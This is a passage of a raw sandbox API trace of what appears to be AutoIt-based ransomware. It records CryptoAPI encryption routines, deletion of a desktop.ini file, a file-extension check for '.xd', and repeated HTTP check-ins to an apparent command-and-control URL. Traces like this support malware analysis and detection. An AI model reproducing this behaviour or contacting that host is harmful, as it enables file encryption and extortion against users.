lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.250] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.250] WriteFile (in: hFile=0x2ac, lpBuffer=0x17a7620*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17a7620*, lpNumberOfBytesWritten=0x130f01c*=0x200, lpOverlapped=0x0) returned 1 [0063.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.251] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.251] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.252] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.252] CryptDestroyKey (hKey=0x164ca30) returned 1 [0063.252] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.252] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.252] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.252] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.252] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.252] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.252] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.252] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.252] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.253] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.253] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.253] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.253] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.253] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.253] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.253] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.254] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.254] CryptReleaseContext (hProv=0x17ab550, dwFlags=0x0) returned 1 [0063.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.254] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.254] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.254] CloseHandle (hObject=0x3bc) returned 1 [0063.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.254] CloseHandle (hObject=0x2ac) returned 1 [0063.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.262] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", lpFilePart=0x0) returned 0x27 [0063.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\desktop.ini")) returned 0x26 [0063.262] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0063.263] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\desktop.ini")) returned 1 [0063.264] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.264] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0063.264] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.264] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.264] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.264] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.264] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.264] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.264] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.264] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.265] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.265] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.265] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.265] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0063.265] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.265] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.265] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.266] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.266] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.266] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.266] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.266] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.266] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.266] CloseHandle (hObject=0x0) returned 0 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jc32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="32xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xXWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XWfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WfgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fgqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gqCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qCSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CSi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Si.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.267] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.267] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.268] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.268] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.268] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.268] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.268] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.268] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.268] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c) returned 1 [0063.268] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.268] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.268] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.268] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.268] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.268] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.268] 